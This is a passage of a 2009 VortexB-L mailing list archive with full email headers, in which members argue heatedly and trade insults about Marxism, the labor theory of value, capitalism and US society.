recognizes value as objective, > while Jeff Fink recognizes value to be subjective. In the former > case, economic transactions are inherently zero-sum and exploitive, > whereas in the latter case they are positive sum and mutually > beneficial. Hi All, Karl Marx proposed that the value of a manufactured item is related to the work required to produce it (the labor theory of value). Mark Twain proposed that the value of something is what you can sell or barter it for. See the episode of "Tom Sawyer" where Tom sells his friends the privilege of white-washing a fence he had been assigned to paint by his Aunt. Both of these proposals are "objective". Which do you think is correct? Note that LeBron James makes more on every pair of Nike shoes sold than the workers who make the shoes in Indonesia. Jack Smith From vortexb-l-request@eskimo.com Fri May 22 14:57:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MLvKrr013600; Fri, 22 May 2009 14:57:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MLvKLG013589; Fri, 22 May 2009 14:57:20 -0700 Resent-Date: Fri, 22 May 2009 14:57:20 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: 01hLqU0VM1l7sL8Suwj__ddZbo_CMJ.N4iqOXYHjkE1oxGAMmprFKV2jfjsMaXqCb9deyBweU40ze8bIMaAJv0SUjMrTdeufvl.34i3ROQk3ZhqQmfcnltIqr2QhPu3UV0K.74pDuo3yOD8IvE9CgC53o8_Y3T0b57JZ8neI1hc1sxRihXP7EVsPmZzVUa8m6wrveXpd48s.LgYDk7zkbWVhBb0U5hSYU_THm3VHuT62ld2vjwoLcSZEONVw3n6nCYSqbQ_PBgDNl7lHSlP8aUk3SzdyamPASHW5WrrunTD5C6Z1W0dXWF6Mez6pfOZomZtRkMyWUlB664msh40- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Date: Fri, 22 May 2009 16:57:17 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> <20090522185439.GI16769@shell.resist.ca> <63ffa6020905221209w184ab194gd8b5a9defa10812@mail.gmail.com> <20090522193801.GL16769@shell.resist.ca> In-Reply-To: <20090522193801.GL16769@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4052 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 294 On Fri, 22 May 2009 12:38:01 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> You're not going to accept the fact that billions of people on earth = signify >> the United States of America as "America", and call its citizens >> "Americans"? >>=20 >> And then you are going to lecture me on denial? > >Billions of people believe the first thing they're told. And that's a = damned fact. --- But irrelevant. --- >Same goes for religion, for that matter. And much else.=20 --- More irrelevance; you type just to hear yourself talk, don't you? --- >Your argument, however, >implies *they know any better*. And that's just hypocrisy -- because = they DON'T. --- Straw man and PKB. Hope's post was merely a statement of fact nicely rebuking your earlier comment and contained no implications of knowing or not knowing better. Even if it had, he would have had to believe one thing but write another in order to be hypocritical and you would have had to have been a mind reader to eke out the difference, and a mind reader you aint. --- >BELIEVE me: when it comes time for most of them to know the difference = -- bye, bye >"America". And much else besides. > >You people put a lot of stock in the manipulations of fear and = ignorance, don't you? >It's like it's your *birthright*, or something. What a decadent society. --- Speaking of hypocrisy, on the one hand you condemn the manipulation of fear and ignorance, and on the other you try to instill it and use it to try to control the direction of the thread with your "BELIEVE me" and "bye, bye, "America"" crap. A nasty piece of work you are, indeed. JF =20 From vortexb-l-request@eskimo.com Fri May 22 17:21:31 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N0LSOp021574; Fri, 22 May 2009 17:21:28 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N0LRoN021569; Fri, 22 May 2009 17:21:27 -0700 Resent-Date: Fri, 22 May 2009 17:21:27 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 17:21:16 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090523002116.GA15700@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522180620.GD16769@shell.resist.ca> <20090522195914.GN16769@shell.resist.ca> <63ffa6020905221313u614ff7fj924e684149c31a41@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905221313u614ff7fj924e684149c31a41@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4053 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 295 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Capitalism is indeed theft if value is objective. Inasmuch as value is > subjective, Capitalism is the only possible moral and ethical system. You'll find that the ground was long ago staked out whereby capitalist apologists have categorically denied the marxist "Labor Theory of Value" and posited their own (preposterous) "Marginal Utility" theories or whatever. They're very creative in that regard... I'll bet you'd have fun googling all that (maybe not). And as with most people here so far, most "debates" on the matter seldom get beyond the 'ridicule the preposterous marxists' stage. And of course, if people like me start making too much sense to too many people -- in comes the second line of defence: the goon squads. "Legal" or otherwise. Bet you never see THAT on CNN... I'm really actually quite a brave guy. ;> - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXQXwACgkQXo3EtEYbt3G4uQCfQdqapJNa6ViLtf5a3jmeD1xV 17kAnjQic9suoIZc4MOfbE1o6bbcXVSG =cUSN -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 17:41:38 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N0fb0d023317; Fri, 22 May 2009 17:41:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N0faHT023311; Fri, 22 May 2009 17:41:36 -0700 Resent-Date: Fri, 22 May 2009 17:41:36 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 17:41:11 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090523004111.GB15700@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <8LNYXB.A.EsF.AZ0FKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4054 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 296 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > I gather you consider yourself to be a Marxist. Did you miss a class or something (another sort of class)..? Certainly I'm a marxist. And that means *COMMUNIST* too, BTW. But let me point out again that I came to vortex-l looking for science -- like most all of the rest of you. However, the rightwing trash talk almost FORCED me to respond..! ;P But it wasn't hard, eh? ;P > I bring it up precisely because you have continuously brought up such > derogatory phrases in your responses to others (and me) all the time. > I'm not interested in participating in such exchanges, now or anytime. You're simply being petty here, AFAIC. And AFAIC too: it's also a way of trying to find some unfair ad hominem angle in what otherwise promises to be a hard 'debate'. Which is highly ironic -- considering that the charge from you is my supposed ad hominem. > You seem to be implying that you would like to conduct these exchanges > as if it was a sophisticated art form consisting mainly of threat > displays followed by verbally skewering one's opponent by any means at > one's disposal. Your interpretation. However -- guess what? This is in fact how PROFESSIONALS (opponents, anyway) talk business. And I'm quite well aware how invariably amateurs become frustrated -- because they refuse to leave their egos out of it -- and fall back on the very vice they propose to assail. And might I remind you that from the get-go, I've had to take the usual mirthful summary dismissals and hostility, etc. This is a 2-way street, uh, Mr. Orion (I wanted to say 'Stevey Boy' in place of 'fella', but I think that's out ;). > It's been my experience that little of substance is > accomplished in such exchanges other than to create an arena of > weekend entertainment where the crowd, like in the movie > "Thunderdome", shout out: "Two go in... One comes out!" Sounds to me here like you're just preparing to take the usual amateur powder here. > Is this one of your favorite past times? That's ad hominem... Steve. > It is not "petty" at all. It is an agreement to extend common courtesy > to be honored by both parties involved in these exchanges. As you well > know we certainly are not on any kind of a first name basis, and what > relevance does being on a "first name basis" (or not) have to do with > requesting an agreement that we extend common courtesy to each other > in our exchanges? Calling you "fella" is not out of line. That's really too much. > "Grok" or whomever you wish to display yourself -as- to the Vort > Collective, I really have no interest in "circling" you, nor being > circled by you in return like wild animals in the forest. Why would I > wish to...why would anyone wish to subject themselves to continuous > verbal abuse of this nature? Leaving aside the false claim -- why, to LEARN, Steve. Don't you want to LEARN something new...? ;> And please note again: it wasn't my intention to come to vortex-l to set up a marxism sk00l. Or a philosophy class. But unexamined beliefs truly need to be challenged in these über-dangerous times. Especially where cutting-edge Science is concerned. > If you cannot or are unwilling to agree to the most basic forms of > common courtesy in our exchanges I have no interest in furthering my > attempts to learn something from you. Life's too short to waste in > pointless "circling". > > The ball is in your court. No skin off my back what happens between us here. There're millions like you out there, Steve. A whole class of them, in fact. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXRicACgkQXo3EtEYbt3ERuwCfaeyWmMtnM0DkQ5/A4yl+xJ5q AG8AoOgiZNmj97bivYKe4Cv4B+tH8LMq =dDtm -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 17:46:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N0kGmx026083; Fri, 22 May 2009 17:46:16 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N0kGxt026077; Fri, 22 May 2009 17:46:16 -0700 Resent-Date: Fri, 22 May 2009 17:46:16 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 17:46:10 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090523004610.GC15700@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <20090522190952.GK16769@shell.resist.ca> <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> <20090522202418.GO16769@shell.resist.ca> <63ffa6020905221413v5d261182p3a50caf9a91078ea@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905221413v5d261182p3a50caf9a91078ea@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4055 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 297 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Well, finance is a bit more sophisticated than that. Ya. They do indeed have swindling down to a fine art, don't they..? > But yet, the Marxists understand economics better? Does that make a Marxist > education very useful in business? Most certainly (not that I'm the expert there). But that's where your government and rulng-class come in with their oppression and mass propaganda and dirty trix and their deathsquads and mass-murder military might. Etc. This is not a fair game played by reasonable rules. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXR1IACgkQXo3EtEYbt3F1ZwCfcnQTQdnUIqBo9eMz7J6gpfY2 NP4AnjAQhZ2aGLqzyl55g5voEJflts6g =jHsx -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 18:07:19 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N17G7O029570; Fri, 22 May 2009 18:07:16 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N17Gui029562; Fri, 22 May 2009 18:07:16 -0700 Resent-Date: Fri, 22 May 2009 18:07:16 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 18:07:10 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090523010710.GD15700@shell.resist.ca> Reply-To: grok@resist.ca References: <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4056 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 298 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >[Let me start off again by saying that I did not come to vortex-l to talk politix, > >particularly. > > --- > Then what was your intent? I've stated any number of times: basically for the same reasons most of youse are here. However I never lose sight of the context this is all taking place in, either. But most of youse, however, never give that a second thought. And are all insulted when it is even brought up. It's called "hypocrisy". > >However youse all do, all the time > > --- > That's not true. I'll be the judge of that. > I, for one, don't talk politics on vortex-l at all. Maybe true -- but you're just one particular individual. You know what I mean. > >-- it's just that, given the > >totalitarian U.S. mentality, much of the discussion of Reality is beyond the Pale. > > --- > The fact of the matter is that it isn't whether the discussion is beyond > the pale, it's that your self-serving ideas about what constitutes US > mentality and your hatred for our leaders and institutions makes it, of > course, impossible for you to discuss reality in a sane way. I think the self-serving is coming from your end, fella. And your refusal to accept the class nature of bourgeois U.S. society is the major part of the "denial" I have mentioned any number of times in regard to this. > >And so many of youse make a federal issue of my matter-of-fact statements -- which > >others in the World have no problem with. > > --- > No doubt because they think it's useless to try to teach a pig how to > sing. Uh, the smug, imperial U.S. polity is the pig in question here. And ask the indians about that, for one. Then the blacks and the mexicans. It's a long list of people NOT particularly on your side. > >And that's all that's really going on here > > --- > No, what's really going on here is that you're basically a spoiled brat > troll who's found a group of people to annoy. ad hominem. You fail Debating 101. Besides that this is essentially a self-serving lie. And then I'm accused of all manner of bad behavior for having to point exactly just this sort of thing out, in order not to have youse-all thinking you've "won" anything here. > >- -- besides that I will not leave any political dilettantes here think they can 'best' > >me on this ground.] > > --- > Tsk, tsk, tsk... Just _atrocious_ grammar for one who fancies himself a > "debater". What... so I left out the word "to" after "here". What pettiness. Another usual dodge of people w/o an argument. Get on with it, fella. Sheesh. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXTD4ACgkQXo3EtEYbt3HLLwCgiukzvYV/pu1t88fPWOVcq9Xg 5REAoI4OaAJESl+AOL2bOQGhiqegYxhP =xjFG -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 18:20:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N1K2SF032122; Fri, 22 May 2009 18:20:02 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N1K2DZ032118; Fri, 22 May 2009 18:20:02 -0700 Resent-Date: Fri, 22 May 2009 18:20:01 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f References: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> To: vortexb-l@eskimo.com Date: Fri, 22 May 2009 21:19:45 -0400 X-AOL-IP: 205.188.169.200 In-Reply-To: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> X-MB-Message-Source: WebUI MIME-Version: 1.0 From: fznidarsic@aol.com X-MB-Message-Type: User Content-Type: multipart/alternative; boundary="--------MB_8CBA95BB11B2102_1604_36C0_FWM-D36.sysops.aol.com" X-Mailer: AOL Webmail 42951-STANDARD Message-Id: <8CBA95BB113F9FD-1604-1A7C@FWM-D36.sysops.aol.com> X-Spam-Flag:NO Resent-Message-ID: <08c_QD.A.u1H.B90FKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4057 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: RO X-Status: X-Keywords: X-UID: 299 ----------MB_8CBA95BB11B2102_1604_36C0_FWM-D36.sysops.aol.com Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="us-ascii" -----Original Message----- From: Harry Veeder To: vortexb-l@eskimo.com Sent: Thu, 21 May 2009 11:30 pm Subject: Re: [VoB]:Re: This is VortexB-L... ----- Original Message ----- From: grok Date: Thursday, May 21, 2009 4:27 pm Subject: [VoB]:Re: This is VortexB-L... > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, OrionWorks > mounted the barricade and roared out: > > > How would you like to to talk to you, Grok. > > Howsabout with the lack of condescension, implied or otherwise? > > I guess this here is about the best that can be expected, under > the circumstances... > (sigh) > > If we're still talking politix then, the first thing would be to > accept that this is > not a 'personality issue' -- howevermuch that is the favorite > slant of those who > defend any status quo. Therefore some people need to accept that > any such discussion > here(sic) actually and truly reflects real issues in the society > at large. But I > think those people on vortex-l have problems with that (however > not with their own > pet peeves and projects, of course). > > As I keep pointing out: politix does indeed have EVERYTHING to do > with what Science, > 'fringe science' -- and with what vortex-l is/are. And only the > beneficiaries of a > status quo profit from keeping all that out of the equation. Of > course, when > festering contradictions never get resolved in a society which > refuses to advance, of > course the endless strife only ends up wrecking things. Such is > [class] war. And so > it becomes its own excuse for not resolving matters. As we've just > witnessed here. > Towards a resolution...? In this video someone explains?the?advantages of Basic Income and counters common criticisms and misconceptions about Basic Income which come from both the right and the left. The discussion on Basic Income begins in earnest at the 5 minute mark in this 10 minute video. http://ca.youtube.com/watch?v=nAfpGZWJOQQ Harry ----------MB_8CBA95BB11B2102_1604_36C0_FWM-D36.sysops.aol.com Content-Transfer-Encoding: 7bit Content-Type: text/html; charset="us-ascii"


-----Original Message-----
From: Harry Veeder <hveeder@ncf.ca>
To: vortexb-l@eskimo.com
Sent: Thu, 21 May 2009 11:30 pm
Subject: Re: [VoB]:Re: This is VortexB-L...

----- Original Message -----
From: grok <grok@resist.ca>
Date: Thursday, May 21, 2009 4:27 pm
Subject: [VoB]:Re: This is VortexB-L...
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>
> As the smoke cleared, OrionWorks <svj.orionworks@gmail.com>
> mounted the barricade and roared out:
>
> > How would you like to to talk to you, Grok.
>
> Howsabout with the lack of condescension, implied or otherwise?
>
> I guess this here is about the best that can be expected, under
> the circumstances...
> (sigh)
>
> If we're still talking politix then, the first thing would be to
> accept that this is
> not a 'personality issue' -- howevermuch that is the favorite
> slant of those who
> defend any status quo. Therefore some people need to accept that
> any such discussion
> here(sic) actually and truly reflects real issues in the society
> at large. But I
> think those people on vortex-l have problems with that (however
> not with their own
> pet peeves and projects, of course).
>
> As I keep pointing out: politix does indeed have EVERYTHING to do
> with what Science,
> 'fringe science' -- and with what vortex-l is/are. And only the
> beneficiaries of a
> status quo profit from keeping all that out of the equation. Of
> course, when
> festering contradictions never get resolved in a society which
> refuses to advance, of
> course the endless strife only ends up wrecking things. Such is
> [class] war. And so
> it becomes its own excuse for not resolving matters. As we've just
> witnessed here.
>
Towards a resolution... 
In this video someone explains the advantages of Basic Income and counters common criticisms and misconceptions about Basic Income which come from both the right and the left. The discussion on Basic Income begins in earnest at the 5 minute mark in this 10 minute video.

http://ca.youtube.com/watch?v=nAfpGZWJOQQ
Harry
----------MB_8CBA95BB11B2102_1604_36C0_FWM-D36.sysops.aol.com-- From vortexb-l-request@eskimo.com Fri May 22 18:36:06 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N1a4DI003368; Fri, 22 May 2009 18:36:04 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N1a32U003361; Fri, 22 May 2009 18:36:03 -0700 Resent-Date: Fri, 22 May 2009 18:36:03 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 18:35:57 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090523013557.GF15700@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4A1716CB.BA9B4CA@centurytel.net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4058 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 300 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Taylor J. Smith mounted the barricade and roared out: > Note that LeBron James makes more on every pair of Nike shoes sold than the workers > who make the shoes in Indonesia. And this drive to expropriate superprofits thru the super-exploitation of brutalized foreign workers is the very basis behind the ongoing de-industrialization of "America" -- and the systematic debasement of the entire country thereby. But not just the U.S., of course. And the declining rate of profit historically is behind all of this. It's also the main reason why China is more and more in the catbird seat now, contradictorily-enuff... Life is chock-full of little ironies, ain't it? - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXUv0ACgkQXo3EtEYbt3Gk4ACgqHiqnXxf6oQKdx8h2eQltJ1N iKIAoO9ALlJPCMyKFxmhKB3MumsJzWFI =qGKt -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 18:45:06 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N1j0Vv006306; Fri, 22 May 2009 18:45:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N1ixl6006295; Fri, 22 May 2009 18:44:59 -0700 Resent-Date: Fri, 22 May 2009 18:44:59 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=DkLFl8i8qmbotgXwh9J6N/xfD8FBsV3PlQnH8LmLC40=; b=n5m83cUhhh1ccQYlOO+IAZNVnYLS8epam1Ro8q3gwSUD3XNYPAmXEoHSlBtIp2vfsN IIDOhsaTq4HkIKEdq44Nd5bIgRO7wJ46N8wd1dDwYOsELEQAiuiAGQ0fnn/c/yWjiUfE pR4hR6QAJjCn2q4i0dz18U9Z4FiMWFJxgs/O4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=sx6+gcrabsOwVbHZBYele7GpNjF6NLem+GcQ13yHVAWhGCyEQ0E7x4uLRbhc2L/3C8 cOqL6c7UdDTKU6MrD7tGX2SjRDZuVvMwGex23Tsx7fOXxvlvLZp0Z4zZGR+lhZCvkEvP L2KOq6wH5nigdFKGKHc44pPhWPAumaOcKFPyE= MIME-Version: 1.0 In-Reply-To: <20090523004111.GB15700@shell.resist.ca> References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <20090523004111.GB15700@shell.resist.ca> Date: Fri, 22 May 2009 20:44:58 -0500 Message-ID: Subject: Re: [VoB]:Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <-yq0WD.A.QiB.bU1FKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4059 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 301 >From Grok: ... > Your interpretation. However -- guess what? This is > in fact how PROFESSIONALS (opponents, anyway) talk business. > And I'm quite well aware how invariably amateurs become frustrated > -- because they refuse 